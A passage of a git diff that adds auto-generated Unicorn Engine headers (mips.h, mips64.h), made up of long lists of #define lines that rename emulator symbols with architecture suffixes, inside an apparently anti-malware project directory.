helper_r6_cmp_s_le_mips +#define helper_r6_cmp_s_ule helper_r6_cmp_s_ule_mips +#define helper_r6_cmp_s_saf helper_r6_cmp_s_saf_mips +#define helper_r6_cmp_s_sun helper_r6_cmp_s_sun_mips +#define helper_r6_cmp_s_seq helper_r6_cmp_s_seq_mips +#define helper_r6_cmp_s_sueq helper_r6_cmp_s_sueq_mips +#define helper_r6_cmp_s_slt helper_r6_cmp_s_slt_mips +#define helper_r6_cmp_s_sult helper_r6_cmp_s_sult_mips +#define helper_r6_cmp_s_sle helper_r6_cmp_s_sle_mips +#define helper_r6_cmp_s_sule helper_r6_cmp_s_sule_mips +#define helper_r6_cmp_s_or helper_r6_cmp_s_or_mips +#define helper_r6_cmp_s_une helper_r6_cmp_s_une_mips +#define helper_r6_cmp_s_ne helper_r6_cmp_s_ne_mips +#define helper_r6_cmp_s_sor helper_r6_cmp_s_sor_mips +#define helper_r6_cmp_s_sune helper_r6_cmp_s_sune_mips +#define helper_r6_cmp_s_sne helper_r6_cmp_s_sne_mips +#define helper_msa_ld_df helper_msa_ld_df_mips +#define helper_msa_st_df helper_msa_st_df_mips +#define no_mmu_map_address no_mmu_map_address_mips +#define fixed_mmu_map_address fixed_mmu_map_address_mips +#define r4k_map_address r4k_map_address_mips +#define mips_cpu_get_phys_page_debug mips_cpu_get_phys_page_debug_mips +#define mips_cpu_handle_mmu_fault mips_cpu_handle_mmu_fault_mips +#define cpu_mips_translate_address cpu_mips_translate_address_mips +#define exception_resume_pc exception_resume_pc_mips +#define mips_cpu_do_interrupt mips_cpu_do_interrupt_mips +#define mips_cpu_exec_interrupt mips_cpu_exec_interrupt_mips +#define r4k_invalidate_tlb r4k_invalidate_tlb_mips +#define helper_absq_s_ob helper_absq_s_ob_mips +#define helper_absq_s_qh helper_absq_s_qh_mips +#define helper_absq_s_pw helper_absq_s_pw_mips +#define helper_adduh_ob helper_adduh_ob_mips +#define helper_adduh_r_ob helper_adduh_r_ob_mips +#define helper_subuh_ob helper_subuh_ob_mips +#define helper_subuh_r_ob helper_subuh_r_ob_mips +#define helper_addq_pw helper_addq_pw_mips +#define helper_addq_qh helper_addq_qh_mips +#define helper_addq_s_pw helper_addq_s_pw_mips +#define helper_addq_s_qh helper_addq_s_qh_mips +#define helper_addu_ob helper_addu_ob_mips +#define helper_addu_qh helper_addu_qh_mips +#define helper_addu_s_ob helper_addu_s_ob_mips +#define helper_addu_s_qh helper_addu_s_qh_mips +#define helper_subq_pw helper_subq_pw_mips +#define helper_subq_qh helper_subq_qh_mips +#define helper_subq_s_pw helper_subq_s_pw_mips +#define helper_subq_s_qh helper_subq_s_qh_mips +#define helper_subu_ob helper_subu_ob_mips +#define helper_subu_qh helper_subu_qh_mips +#define helper_subu_s_ob helper_subu_s_ob_mips +#define helper_subu_s_qh helper_subu_s_qh_mips +#define helper_raddu_l_ob helper_raddu_l_ob_mips +#define helper_precr_ob_qh helper_precr_ob_qh_mips +#define helper_precr_sra_qh_pw helper_precr_sra_qh_pw_mips +#define helper_precr_sra_r_qh_pw helper_precr_sra_r_qh_pw_mips +#define helper_precrq_ob_qh helper_precrq_ob_qh_mips +#define helper_precrq_qh_pw helper_precrq_qh_pw_mips +#define helper_precrq_rs_qh_pw helper_precrq_rs_qh_pw_mips +#define helper_precrq_pw_l helper_precrq_pw_l_mips +#define helper_precrqu_s_ob_qh helper_precrqu_s_ob_qh_mips +#define helper_preceq_pw_qhl helper_preceq_pw_qhl_mips +#define helper_preceq_pw_qhr helper_preceq_pw_qhr_mips +#define helper_preceq_pw_qhla helper_preceq_pw_qhla_mips +#define helper_preceq_pw_qhra helper_preceq_pw_qhra_mips +#define helper_precequ_qh_obl helper_precequ_qh_obl_mips +#define helper_precequ_qh_obr helper_precequ_qh_obr_mips +#define helper_precequ_qh_obla helper_precequ_qh_obla_mips +#define helper_precequ_qh_obra helper_precequ_qh_obra_mips +#define helper_preceu_qh_obl helper_preceu_qh_obl_mips +#define helper_preceu_qh_obr helper_preceu_qh_obr_mips +#define helper_preceu_qh_obla helper_preceu_qh_obla_mips +#define helper_preceu_qh_obra helper_preceu_qh_obra_mips +#define helper_shll_ob helper_shll_ob_mips +#define helper_shrl_ob helper_shrl_ob_mips +#define helper_shra_ob helper_shra_ob_mips +#define helper_shra_r_ob helper_shra_r_ob_mips +#define helper_shll_qh helper_shll_qh_mips +#define helper_shll_s_qh helper_shll_s_qh_mips +#define helper_shrl_qh helper_shrl_qh_mips +#define helper_shra_qh helper_shra_qh_mips +#define helper_shra_r_qh helper_shra_r_qh_mips +#define helper_shll_pw helper_shll_pw_mips +#define helper_shll_s_pw helper_shll_s_pw_mips +#define helper_shra_pw helper_shra_pw_mips +#define helper_shra_r_pw helper_shra_r_pw_mips +#define helper_muleu_s_qh_obl helper_muleu_s_qh_obl_mips +#define helper_muleu_s_qh_obr helper_muleu_s_qh_obr_mips +#define helper_mulq_rs_qh helper_mulq_rs_qh_mips +#define helper_muleq_s_pw_qhl helper_muleq_s_pw_qhl_mips +#define helper_muleq_s_pw_qhr helper_muleq_s_pw_qhr_mips +#define helper_mulsaq_s_w_qh helper_mulsaq_s_w_qh_mips +#define helper_dpau_h_obl helper_dpau_h_obl_mips +#define helper_dpau_h_obr helper_dpau_h_obr_mips +#define helper_dpsu_h_obl helper_dpsu_h_obl_mips +#define helper_dpsu_h_obr helper_dpsu_h_obr_mips +#define helper_dpa_w_qh helper_dpa_w_qh_mips +#define helper_dpaq_s_w_qh helper_dpaq_s_w_qh_mips +#define helper_dps_w_qh helper_dps_w_qh_mips +#define helper_dpsq_s_w_qh helper_dpsq_s_w_qh_mips +#define helper_dpaq_sa_l_pw helper_dpaq_sa_l_pw_mips +#define helper_dpsq_sa_l_pw helper_dpsq_sa_l_pw_mips +#define helper_mulsaq_s_l_pw helper_mulsaq_s_l_pw_mips +#define helper_maq_s_w_qhll helper_maq_s_w_qhll_mips +#define helper_maq_s_w_qhlr helper_maq_s_w_qhlr_mips +#define helper_maq_s_w_qhrl helper_maq_s_w_qhrl_mips +#define helper_maq_s_w_qhrr helper_maq_s_w_qhrr_mips +#define helper_maq_sa_w_qhll helper_maq_sa_w_qhll_mips +#define helper_maq_sa_w_qhlr helper_maq_sa_w_qhlr_mips +#define helper_maq_sa_w_qhrl helper_maq_sa_w_qhrl_mips +#define helper_maq_sa_w_qhrr helper_maq_sa_w_qhrr_mips +#define helper_maq_s_l_pwl helper_maq_s_l_pwl_mips +#define helper_maq_s_l_pwr helper_maq_s_l_pwr_mips +#define helper_dmadd helper_dmadd_mips +#define helper_dmaddu helper_dmaddu_mips +#define helper_dmsub helper_dmsub_mips +#define helper_dmsubu helper_dmsubu_mips +#define helper_dinsv helper_dinsv_mips +#define helper_cmpgu_eq_ob helper_cmpgu_eq_ob_mips +#define helper_cmpgu_lt_ob helper_cmpgu_lt_ob_mips +#define helper_cmpgu_le_ob helper_cmpgu_le_ob_mips +#define helper_cmpu_eq_ob helper_cmpu_eq_ob_mips +#define helper_cmpu_lt_ob helper_cmpu_lt_ob_mips +#define helper_cmpu_le_ob helper_cmpu_le_ob_mips +#define helper_cmp_eq_qh helper_cmp_eq_qh_mips +#define helper_cmp_lt_qh helper_cmp_lt_qh_mips +#define helper_cmp_le_qh helper_cmp_le_qh_mips +#define helper_cmp_eq_pw helper_cmp_eq_pw_mips +#define helper_cmp_lt_pw helper_cmp_lt_pw_mips +#define helper_cmp_le_pw helper_cmp_le_pw_mips +#define helper_cmpgdu_eq_ob helper_cmpgdu_eq_ob_mips +#define helper_cmpgdu_lt_ob helper_cmpgdu_lt_ob_mips +#define helper_cmpgdu_le_ob helper_cmpgdu_le_ob_mips +#define helper_pick_ob helper_pick_ob_mips +#define helper_pick_qh helper_pick_qh_mips +#define helper_pick_pw helper_pick_pw_mips +#define helper_packrl_pw helper_packrl_pw_mips +#define helper_dextr_w helper_dextr_w_mips +#define helper_dextr_r_w helper_dextr_r_w_mips +#define helper_dextr_rs_w helper_dextr_rs_w_mips +#define helper_dextr_l helper_dextr_l_mips +#define helper_dextr_r_l helper_dextr_r_l_mips +#define helper_dextr_rs_l helper_dextr_rs_l_mips +#define helper_dextr_s_h helper_dextr_s_h_mips +#define helper_dextp helper_dextp_mips +#define helper_dextpdp helper_dextpdp_mips +#define helper_dshilo helper_dshilo_mips +#define helper_dmthlip helper_dmthlip_mips +#define helper_dclo helper_dclo_mips +#define helper_dclz helper_dclz_mips +#define helper_dbitswap helper_dbitswap_mips +#define helper_lld helper_lld_mips +#define helper_scd helper_scd_mips +#define helper_sdl helper_sdl_mips +#define helper_sdr helper_sdr_mips +#define helper_ldm helper_ldm_mips +#define helper_sdm helper_sdm_mips +#define helper_dmfc0_tcrestart helper_dmfc0_tcrestart_mips +#define helper_dmfc0_tchalt helper_dmfc0_tchalt_mips +#define helper_dmfc0_tccontext helper_dmfc0_tccontext_mips +#define helper_dmfc0_tcschedule helper_dmfc0_tcschedule_mips +#define helper_dmfc0_tcschefback helper_dmfc0_tcschefback_mips +#define helper_dmfc0_lladdr helper_dmfc0_lladdr_mips +#define helper_dmfc0_watchlo helper_dmfc0_watchlo_mips +#define helper_dmtc0_entrylo0 helper_dmtc0_entrylo0_mips +#define helper_dmtc0_entrylo1 helper_dmtc0_entrylo1_mips +#define mips_reg_reset mips_reg_reset_mips +#define mips_reg_read mips_reg_read_mips +#define mips_reg_write mips_reg_write_mips +#define mips_tcg_init mips_tcg_init_mips +#define mips_cpu_list mips_cpu_list_mips +#define mips_release mips_release_mips +#define MIPS64_REGS_STORAGE_SIZE MIPS64_REGS_STORAGE_SIZE_mips +#define MIPS_REGS_STORAGE_SIZE MIPS_REGS_STORAGE_SIZE_mips +#endif diff --git a/ai_anti_malware/unicorn/unicorn-master/qemu/mips64.h b/ai_anti_malware/unicorn/unicorn-master/qemu/mips64.h new file mode 100644 index 0000000..e464d4b --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/qemu/mips64.h @@ -0,0 +1,3928 @@ +/* Autogen header for Unicorn Engine - DONOT MODIFY */ +#ifndef UNICORN_AUTOGEN_MIPS64_H +#define UNICORN_AUTOGEN_MIPS64_H +#define arm_release arm_release_mips64 +#define aarch64_tb_set_jmp_target aarch64_tb_set_jmp_target_mips64 +#define ppc_tb_set_jmp_target ppc_tb_set_jmp_target_mips64 +#define use_idiv_instructions_rt use_idiv_instructions_rt_mips64 +#define tcg_target_deposit_valid tcg_target_deposit_valid_mips64 +#define helper_power_down helper_power_down_mips64 +#define check_exit_request check_exit_request_mips64 +#define address_space_unregister address_space_unregister_mips64 +#define tb_invalidate_phys_page_fast tb_invalidate_phys_page_fast_mips64 +#define phys_mem_clean phys_mem_clean_mips64 +#define tb_cleanup tb_cleanup_mips64 +#define memory_map memory_map_mips64 +#define memory_map_ptr memory_map_ptr_mips64 +#define memory_unmap memory_unmap_mips64 +#define memory_free memory_free_mips64 +#define free_code_gen_buffer free_code_gen_buffer_mips64 +#define helper_raise_exception helper_raise_exception_mips64 +#define tcg_enabled tcg_enabled_mips64 +#define tcg_exec_init tcg_exec_init_mips64 +#define memory_register_types memory_register_types_mips64 +#define cpu_exec_init_all cpu_exec_init_all_mips64 +#define vm_start vm_start_mips64 +#define resume_all_vcpus resume_all_vcpus_mips64 +#define a15_l2ctlr_read a15_l2ctlr_read_mips64 +#define a64_translate_init a64_translate_init_mips64 +#define aa32_generate_debug_exceptions aa32_generate_debug_exceptions_mips64 +#define aa64_cacheop_access aa64_cacheop_access_mips64 +#define aa64_daif_access aa64_daif_access_mips64 +#define aa64_daif_write aa64_daif_write_mips64 +#define aa64_dczid_read aa64_dczid_read_mips64 +#define aa64_fpcr_read aa64_fpcr_read_mips64 +#define aa64_fpcr_write aa64_fpcr_write_mips64 +#define aa64_fpsr_read aa64_fpsr_read_mips64 +#define aa64_fpsr_write aa64_fpsr_write_mips64 +#define aa64_generate_debug_exceptions aa64_generate_debug_exceptions_mips64 +#define aa64_zva_access aa64_zva_access_mips64 +#define aarch64_banked_spsr_index aarch64_banked_spsr_index_mips64 +#define aarch64_restore_sp aarch64_restore_sp_mips64 +#define aarch64_save_sp aarch64_save_sp_mips64 +#define accel_find accel_find_mips64 +#define accel_init_machine accel_init_machine_mips64 +#define accel_type accel_type_mips64 +#define access_with_adjusted_size access_with_adjusted_size_mips64 +#define add128 add128_mips64 +#define add16_sat add16_sat_mips64 +#define add16_usat add16_usat_mips64 +#define add192 add192_mips64 +#define add8_sat add8_sat_mips64 +#define add8_usat add8_usat_mips64 +#define add_cpreg_to_hashtable add_cpreg_to_hashtable_mips64 +#define add_cpreg_to_list add_cpreg_to_list_mips64 +#define addFloat128Sigs addFloat128Sigs_mips64 +#define addFloat32Sigs addFloat32Sigs_mips64 +#define addFloat64Sigs addFloat64Sigs_mips64 +#define addFloatx80Sigs addFloatx80Sigs_mips64 +#define add_qemu_ldst_label add_qemu_ldst_label_mips64 +#define address_space_access_valid address_space_access_valid_mips64 +#define address_space_destroy address_space_destroy_mips64 +#define address_space_destroy_dispatch address_space_destroy_dispatch_mips64 +#define address_space_get_flatview address_space_get_flatview_mips64 +#define address_space_init address_space_init_mips64 +#define address_space_init_dispatch address_space_init_dispatch_mips64 +#define address_space_lookup_region address_space_lookup_region_mips64 +#define address_space_map address_space_map_mips64 +#define address_space_read address_space_read_mips64 +#define address_space_rw address_space_rw_mips64 +#define address_space_translate address_space_translate_mips64 +#define address_space_translate_for_iotlb address_space_translate_for_iotlb_mips64 +#define address_space_translate_internal address_space_translate_internal_mips64 +#define address_space_unmap address_space_unmap_mips64 +#define address_space_update_topology address_space_update_topology_mips64 +#define address_space_update_topology_pass address_space_update_topology_pass_mips64 +#define address_space_write address_space_write_mips64 +#define addrrange_contains addrrange_contains_mips64 +#define addrrange_end addrrange_end_mips64 +#define addrrange_equal addrrange_equal_mips64 +#define addrrange_intersection addrrange_intersection_mips64 +#define addrrange_intersects addrrange_intersects_mips64 +#define addrrange_make addrrange_make_mips64 +#define adjust_endianness adjust_endianness_mips64 +#define all_helpers all_helpers_mips64 +#define alloc_code_gen_buffer alloc_code_gen_buffer_mips64 +#define alloc_entry alloc_entry_mips64 +#define always_true always_true_mips64 +#define arm1026_initfn arm1026_initfn_mips64 +#define arm1136_initfn arm1136_initfn_mips64 +#define arm1136_r2_initfn arm1136_r2_initfn_mips64 +#define arm1176_initfn arm1176_initfn_mips64 +#define arm11mpcore_initfn arm11mpcore_initfn_mips64 +#define arm926_initfn arm926_initfn_mips64 +#define arm946_initfn arm946_initfn_mips64 +#define arm_ccnt_enabled arm_ccnt_enabled_mips64 +#define arm_cp_read_zero arm_cp_read_zero_mips64 +#define arm_cp_reset_ignore arm_cp_reset_ignore_mips64 +#define arm_cpu_do_interrupt arm_cpu_do_interrupt_mips64 +#define arm_cpu_exec_interrupt arm_cpu_exec_interrupt_mips64 +#define arm_cpu_finalizefn arm_cpu_finalizefn_mips64 +#define arm_cpu_get_phys_page_debug arm_cpu_get_phys_page_debug_mips64 +#define arm_cpu_handle_mmu_fault arm_cpu_handle_mmu_fault_mips64 +#define arm_cpu_initfn arm_cpu_initfn_mips64 +#define arm_cpu_list arm_cpu_list_mips64 +#define cpu_loop_exit cpu_loop_exit_mips64 +#define arm_cpu_post_init arm_cpu_post_init_mips64 +#define arm_cpu_realizefn arm_cpu_realizefn_mips64 +#define arm_cpu_register_gdb_regs_for_features arm_cpu_register_gdb_regs_for_features_mips64 +#define arm_cpu_register_types arm_cpu_register_types_mips64 +#define cpu_resume_from_signal cpu_resume_from_signal_mips64 +#define arm_cpus arm_cpus_mips64 +#define arm_cpu_set_pc arm_cpu_set_pc_mips64 +#define arm_cp_write_ignore arm_cp_write_ignore_mips64 +#define arm_current_el arm_current_el_mips64 +#define arm_dc_feature arm_dc_feature_mips64 +#define arm_debug_excp_handler arm_debug_excp_handler_mips64 +#define arm_debug_target_el arm_debug_target_el_mips64 +#define arm_el_is_aa64 arm_el_is_aa64_mips64 +#define arm_env_get_cpu arm_env_get_cpu_mips64 +#define arm_excp_target_el arm_excp_target_el_mips64 +#define arm_excp_unmasked arm_excp_unmasked_mips64 +#define arm_feature arm_feature_mips64 +#define arm_generate_debug_exceptions arm_generate_debug_exceptions_mips64 +#define gen_intermediate_code gen_intermediate_code_mips64 +#define gen_intermediate_code_pc gen_intermediate_code_pc_mips64 +#define arm_gen_test_cc arm_gen_test_cc_mips64 +#define arm_gt_ptimer_cb arm_gt_ptimer_cb_mips64 +#define arm_gt_vtimer_cb arm_gt_vtimer_cb_mips64 +#define arm_handle_psci_call arm_handle_psci_call_mips64 +#define arm_is_psci_call arm_is_psci_call_mips64 +#define arm_is_secure arm_is_secure_mips64 +#define arm_is_secure_below_el3 arm_is_secure_below_el3_mips64 +#define arm_ldl_code arm_ldl_code_mips64 +#define arm_lduw_code arm_lduw_code_mips64 +#define arm_log_exception arm_log_exception_mips64 +#define arm_reg_read arm_reg_read_mips64 +#define arm_reg_reset arm_reg_reset_mips64 +#define arm_reg_write arm_reg_write_mips64 +#define restore_state_to_opc restore_state_to_opc_mips64 +#define arm_rmode_to_sf arm_rmode_to_sf_mips64 +#define arm_singlestep_active arm_singlestep_active_mips64 +#define tlb_fill tlb_fill_mips64 +#define tlb_flush tlb_flush_mips64 +#define tlb_flush_page tlb_flush_page_mips64 +#define tlb_set_page tlb_set_page_mips64 +#define arm_translate_init arm_translate_init_mips64 +#define arm_v7m_class_init arm_v7m_class_init_mips64 +#define arm_v7m_cpu_do_interrupt arm_v7m_cpu_do_interrupt_mips64 +#define ats_access ats_access_mips64 +#define ats_write ats_write_mips64 +#define bad_mode_switch bad_mode_switch_mips64 +#define bank_number bank_number_mips64 +#define bitmap_zero_extend bitmap_zero_extend_mips64 +#define bp_wp_matches bp_wp_matches_mips64 +#define breakpoint_invalidate breakpoint_invalidate_mips64 +#define build_page_bitmap build_page_bitmap_mips64 +#define bus_add_child bus_add_child_mips64 +#define bus_class_init bus_class_init_mips64 +#define bus_info bus_info_mips64 +#define bus_unparent bus_unparent_mips64 +#define cache_block_ops_cp_reginfo cache_block_ops_cp_reginfo_mips64 +#define cache_dirty_status_cp_reginfo cache_dirty_status_cp_reginfo_mips64 +#define cache_test_clean_cp_reginfo cache_test_clean_cp_reginfo_mips64 +#define call_recip_estimate call_recip_estimate_mips64 +#define can_merge can_merge_mips64 +#define capacity_increase capacity_increase_mips64 +#define ccsidr_read ccsidr_read_mips64 +#define check_ap check_ap_mips64 +#define check_breakpoints check_breakpoints_mips64 +#define check_watchpoints check_watchpoints_mips64 +#define cho cho_mips64 +#define clear_bit clear_bit_mips64 +#define clz32 clz32_mips64 +#define clz64 clz64_mips64 +#define cmp_flatrange_addr cmp_flatrange_addr_mips64 +#define code_gen_alloc code_gen_alloc_mips64 +#define commonNaNToFloat128 commonNaNToFloat128_mips64 +#define commonNaNToFloat16 commonNaNToFloat16_mips64 +#define commonNaNToFloat32 commonNaNToFloat32_mips64 +#define commonNaNToFloat64 commonNaNToFloat64_mips64 +#define commonNaNToFloatx80 commonNaNToFloatx80_mips64 +#define compute_abs_deadline compute_abs_deadline_mips64 +#define cond_name cond_name_mips64 +#define configure_accelerator configure_accelerator_mips64 +#define container_get container_get_mips64 +#define container_info container_info_mips64 +#define container_register_types container_register_types_mips64 +#define contextidr_write contextidr_write_mips64 +#define core_log_global_start core_log_global_start_mips64 +#define core_log_global_stop core_log_global_stop_mips64 +#define core_memory_listener core_memory_listener_mips64 +#define cortexa15_cp_reginfo cortexa15_cp_reginfo_mips64 +#define cortex_a15_initfn cortex_a15_initfn_mips64 +#define cortexa8_cp_reginfo cortexa8_cp_reginfo_mips64 +#define cortex_a8_initfn cortex_a8_initfn_mips64 +#define cortexa9_cp_reginfo cortexa9_cp_reginfo_mips64 +#define cortex_a9_initfn cortex_a9_initfn_mips64 +#define cortex_m3_initfn cortex_m3_initfn_mips64 +#define count_cpreg count_cpreg_mips64 +#define countLeadingZeros32 countLeadingZeros32_mips64 +#define countLeadingZeros64 countLeadingZeros64_mips64 +#define cp_access_ok cp_access_ok_mips64 +#define cpacr_write cpacr_write_mips64 +#define cpreg_field_is_64bit cpreg_field_is_64bit_mips64 +#define cp_reginfo cp_reginfo_mips64 +#define cpreg_key_compare cpreg_key_compare_mips64 +#define cpreg_make_keylist cpreg_make_keylist_mips64 +#define cp_reg_reset cp_reg_reset_mips64 +#define cpreg_to_kvm_id cpreg_to_kvm_id_mips64 +#define cpsr_read cpsr_read_mips64 +#define cpsr_write cpsr_write_mips64 +#define cptype_valid cptype_valid_mips64 +#define cpu_abort cpu_abort_mips64 +#define cpu_arm_exec cpu_arm_exec_mips64 +#define cpu_arm_gen_code cpu_arm_gen_code_mips64 +#define cpu_arm_init cpu_arm_init_mips64 +#define cpu_breakpoint_insert cpu_breakpoint_insert_mips64 +#define cpu_breakpoint_remove cpu_breakpoint_remove_mips64 +#define cpu_breakpoint_remove_all cpu_breakpoint_remove_all_mips64 +#define cpu_breakpoint_remove_by_ref cpu_breakpoint_remove_by_ref_mips64 +#define cpu_can_do_io cpu_can_do_io_mips64 +#define cpu_can_run cpu_can_run_mips64 +#define cpu_class_init cpu_class_init_mips64 +#define cpu_common_class_by_name cpu_common_class_by_name_mips64 +#define cpu_common_exec_interrupt cpu_common_exec_interrupt_mips64 +#define cpu_common_get_arch_id cpu_common_get_arch_id_mips64 +#define cpu_common_get_memory_mapping cpu_common_get_memory_mapping_mips64 +#define cpu_common_get_paging_enabled cpu_common_get_paging_enabled_mips64 +#define cpu_common_has_work cpu_common_has_work_mips64 +#define cpu_common_initfn cpu_common_initfn_mips64 +#define cpu_common_noop cpu_common_noop_mips64 +#define cpu_common_parse_features cpu_common_parse_features_mips64 +#define cpu_common_realizefn cpu_common_realizefn_mips64 +#define cpu_common_reset cpu_common_reset_mips64 +#define cpu_dump_statistics cpu_dump_statistics_mips64 +#define cpu_exec_init cpu_exec_init_mips64 +#define cpu_flush_icache_range cpu_flush_icache_range_mips64 +#define cpu_gen_init cpu_gen_init_mips64 +#define cpu_get_clock cpu_get_clock_mips64 +#define cpu_get_real_ticks cpu_get_real_ticks_mips64 +#define cpu_get_tb_cpu_state cpu_get_tb_cpu_state_mips64 +#define cpu_handle_debug_exception cpu_handle_debug_exception_mips64 +#define cpu_handle_guest_debug cpu_handle_guest_debug_mips64 +#define cpu_inb cpu_inb_mips64 +#define cpu_inl cpu_inl_mips64 +#define cpu_interrupt cpu_interrupt_mips64 +#define cpu_interrupt_handler cpu_interrupt_handler_mips64 +#define cpu_inw cpu_inw_mips64 +#define cpu_io_recompile cpu_io_recompile_mips64 +#define cpu_is_stopped cpu_is_stopped_mips64 +#define cpu_ldl_code cpu_ldl_code_mips64 +#define cpu_ldub_code cpu_ldub_code_mips64 +#define cpu_lduw_code cpu_lduw_code_mips64 +#define cpu_memory_rw_debug cpu_memory_rw_debug_mips64 +#define cpu_mmu_index cpu_mmu_index_mips64 +#define cpu_outb cpu_outb_mips64 +#define cpu_outl cpu_outl_mips64 +#define cpu_outw cpu_outw_mips64 +#define cpu_physical_memory_clear_dirty_range cpu_physical_memory_clear_dirty_range_mips64 +#define cpu_physical_memory_get_clean cpu_physical_memory_get_clean_mips64 +#define cpu_physical_memory_get_dirty cpu_physical_memory_get_dirty_mips64 +#define cpu_physical_memory_get_dirty_flag cpu_physical_memory_get_dirty_flag_mips64 +#define cpu_physical_memory_is_clean cpu_physical_memory_is_clean_mips64 +#define cpu_physical_memory_is_io cpu_physical_memory_is_io_mips64 +#define cpu_physical_memory_map cpu_physical_memory_map_mips64 +#define cpu_physical_memory_range_includes_clean cpu_physical_memory_range_includes_clean_mips64 +#define cpu_physical_memory_reset_dirty cpu_physical_memory_reset_dirty_mips64 +#define cpu_physical_memory_rw cpu_physical_memory_rw_mips64 +#define cpu_physical_memory_set_dirty_flag cpu_physical_memory_set_dirty_flag_mips64 +#define cpu_physical_memory_set_dirty_range cpu_physical_memory_set_dirty_range_mips64 +#define cpu_physical_memory_unmap cpu_physical_memory_unmap_mips64 +#define cpu_physical_memory_write_rom cpu_physical_memory_write_rom_mips64 +#define cpu_physical_memory_write_rom_internal cpu_physical_memory_write_rom_internal_mips64 +#define cpu_register cpu_register_mips64 +#define cpu_register_types cpu_register_types_mips64 +#define cpu_restore_state cpu_restore_state_mips64 +#define cpu_restore_state_from_tb cpu_restore_state_from_tb_mips64 +#define cpu_single_step cpu_single_step_mips64 +#define cpu_tb_exec cpu_tb_exec_mips64 +#define cpu_tlb_reset_dirty_all cpu_tlb_reset_dirty_all_mips64 +#define cpu_to_be64 cpu_to_be64_mips64 +#define cpu_to_le32 cpu_to_le32_mips64 +#define cpu_to_le64 cpu_to_le64_mips64 +#define cpu_type_info cpu_type_info_mips64 +#define cpu_unassigned_access cpu_unassigned_access_mips64 +#define cpu_watchpoint_address_matches cpu_watchpoint_address_matches_mips64 +#define cpu_watchpoint_insert cpu_watchpoint_insert_mips64 +#define cpu_watchpoint_remove cpu_watchpoint_remove_mips64 +#define cpu_watchpoint_remove_all cpu_watchpoint_remove_all_mips64 +#define cpu_watchpoint_remove_by_ref cpu_watchpoint_remove_by_ref_mips64 +#define crc32c_table crc32c_table_mips64 +#define create_new_memory_mapping create_new_memory_mapping_mips64 +#define csselr_write csselr_write_mips64 +#define cto32 cto32_mips64 +#define ctr_el0_access ctr_el0_access_mips64 +#define ctz32 ctz32_mips64 +#define ctz64 ctz64_mips64 +#define dacr_write dacr_write_mips64 +#define dbgbcr_write dbgbcr_write_mips64 +#define dbgbvr_write dbgbvr_write_mips64 +#define dbgwcr_write dbgwcr_write_mips64 +#define dbgwvr_write dbgwvr_write_mips64 +#define debug_cp_reginfo debug_cp_reginfo_mips64 +#define debug_frame debug_frame_mips64 +#define debug_lpae_cp_reginfo debug_lpae_cp_reginfo_mips64 +#define define_arm_cp_regs define_arm_cp_regs_mips64 +#define define_arm_cp_regs_with_opaque define_arm_cp_regs_with_opaque_mips64 +#define define_debug_regs define_debug_regs_mips64 +#define define_one_arm_cp_reg define_one_arm_cp_reg_mips64 +#define define_one_arm_cp_reg_with_opaque define_one_arm_cp_reg_with_opaque_mips64 +#define deposit32 deposit32_mips64 +#define deposit64 deposit64_mips64 +#define deregister_tm_clones deregister_tm_clones_mips64 +#define device_class_base_init device_class_base_init_mips64 +#define device_class_init device_class_init_mips64 +#define device_finalize device_finalize_mips64 +#define device_get_realized device_get_realized_mips64 +#define device_initfn device_initfn_mips64 +#define device_post_init device_post_init_mips64 +#define device_reset device_reset_mips64 +#define device_set_realized device_set_realized_mips64 +#define device_type_info device_type_info_mips64 +#define disas_arm_insn disas_arm_insn_mips64 +#define disas_coproc_insn disas_coproc_insn_mips64 +#define disas_dsp_insn disas_dsp_insn_mips64 +#define disas_iwmmxt_insn disas_iwmmxt_insn_mips64 +#define disas_neon_data_insn disas_neon_data_insn_mips64 +#define disas_neon_ls_insn disas_neon_ls_insn_mips64 +#define disas_thumb2_insn disas_thumb2_insn_mips64 +#define disas_thumb_insn disas_thumb_insn_mips64 +#define disas_vfp_insn disas_vfp_insn_mips64 +#define disas_vfp_v8_insn disas_vfp_v8_insn_mips64 +#define do_arm_semihosting do_arm_semihosting_mips64 +#define do_clz16 do_clz16_mips64 +#define do_clz8 do_clz8_mips64 +#define do_constant_folding do_constant_folding_mips64 +#define do_constant_folding_2 do_constant_folding_2_mips64 +#define do_constant_folding_cond do_constant_folding_cond_mips64 +#define do_constant_folding_cond2 do_constant_folding_cond2_mips64 +#define do_constant_folding_cond_32 do_constant_folding_cond_32_mips64 +#define do_constant_folding_cond_64 do_constant_folding_cond_64_mips64 +#define do_constant_folding_cond_eq do_constant_folding_cond_eq_mips64 +#define do_fcvt_f16_to_f32 do_fcvt_f16_to_f32_mips64 +#define do_fcvt_f32_to_f16 do_fcvt_f32_to_f16_mips64 +#define do_ssat do_ssat_mips64 +#define do_usad do_usad_mips64 +#define do_usat do_usat_mips64 +#define do_v7m_exception_exit do_v7m_exception_exit_mips64 +#define dummy_c15_cp_reginfo dummy_c15_cp_reginfo_mips64 +#define dummy_func dummy_func_mips64 +#define dummy_section dummy_section_mips64 +#define _DYNAMIC _DYNAMIC_mips64 +#define _edata _edata_mips64 +#define _end _end_mips64 +#define end_list end_list_mips64 +#define eq128 eq128_mips64 +#define ErrorClass_lookup ErrorClass_lookup_mips64 +#define error_copy error_copy_mips64 +#define error_exit error_exit_mips64 +#define error_get_class error_get_class_mips64 +#define error_get_pretty error_get_pretty_mips64 +#define error_setg_file_open error_setg_file_open_mips64 +#define estimateDiv128To64 estimateDiv128To64_mips64 +#define estimateSqrt32 estimateSqrt32_mips64 +#define excnames excnames_mips64 +#define excp_is_internal excp_is_internal_mips64 +#define extended_addresses_enabled extended_addresses_enabled_mips64 +#define extended_mpu_ap_bits extended_mpu_ap_bits_mips64 +#define extract32 extract32_mips64 +#define extract64 extract64_mips64 +#define extractFloat128Exp extractFloat128Exp_mips64 +#define extractFloat128Frac0 extractFloat128Frac0_mips64 +#define extractFloat128Frac1 extractFloat128Frac1_mips64 +#define extractFloat128Sign extractFloat128Sign_mips64 +#define extractFloat16Exp extractFloat16Exp_mips64 +#define extractFloat16Frac extractFloat16Frac_mips64 +#define extractFloat16Sign extractFloat16Sign_mips64 +#define extractFloat32Exp extractFloat32Exp_mips64 +#define extractFloat32Frac extractFloat32Frac_mips64 +#define extractFloat32Sign extractFloat32Sign_mips64 +#define extractFloat64Exp extractFloat64Exp_mips64 +#define extractFloat64Frac extractFloat64Frac_mips64 +#define extractFloat64Sign extractFloat64Sign_mips64 +#define extractFloatx80Exp extractFloatx80Exp_mips64 +#define extractFloatx80Frac extractFloatx80Frac_mips64 +#define extractFloatx80Sign 